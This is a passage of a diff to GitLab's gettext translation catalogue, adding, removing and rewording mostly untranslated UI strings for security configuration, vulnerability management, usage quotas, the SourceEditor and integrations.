+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30523,7 +31042,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30538,7 +31057,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30550,7 +31069,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30610,6 +31129,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30619,6 +31141,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30643,6 +31168,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30712,7 +31243,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30721,6 +31255,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30742,6 +31279,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30961,7 +31504,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30994,6 +31537,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31132,6 +31678,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31336,9 +31885,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31438,7 +31984,16 @@ msgstr ""
msgid "Service"
msgstr "Usluga"
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31450,6 +32005,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31495,6 +32053,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31576,6 +32137,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31633,9 +32197,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31711,9 +32272,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31780,6 +32338,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31795,6 +32374,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31843,18 +32425,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32221,6 +32794,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32305,9 +32884,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32584,9 +33160,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32605,6 +33178,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32758,9 +33358,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32905,6 +33502,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32926,7 +33526,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32935,6 +33535,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32956,6 +33559,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32971,6 +33580,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33958,10 +34570,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34219,7 +34831,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34255,7 +34867,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34462,9 +35077,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34597,9 +35209,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34654,6 +35263,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34750,9 +35362,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34765,9 +35374,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35143,6 +35749,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35161,12 +35770,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35215,6 +35818,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35269,12 +35878,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35284,6 +35896,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35419,9 +36034,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35464,6 +36076,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35563,7 +36178,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36109,6 +36724,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36133,6 +36751,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36238,10 +36859,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36262,9 +36883,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36325,6 +36943,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36496,7 +37117,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36553,6 +37174,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36751,9 +37378,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36859,6 +37483,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36943,9 +37570,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37054,6 +37678,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37096,6 +37723,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37105,9 +37735,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37120,9 +37747,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37177,12 +37801,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37192,9 +37810,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37207,9 +37831,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37243,18 +37864,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37300,9 +37909,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37495,9 +38101,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37801,9 +38404,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38029,6 +38629,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38053,6 +38665,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38152,6 +38767,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38263,6 +38881,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38275,9 +38896,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38293,6 +38911,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38302,7 +38923,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38314,6 +38938,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38338,9 +38965,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38353,10 +38986,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38530,7 +39163,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38836,6 +39469,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38848,7 +39484,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39022,6 +39658,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39031,7 +39673,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39145,6 +39787,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39418,13 +40063,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39460,6 +40102,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39490,12 +40135,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39547,6 +40198,12 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39595,6 +40252,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39730,9 +40390,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39817,7 +40474,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39883,6 +40540,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40075,6 +40738,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40090,15 +40756,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
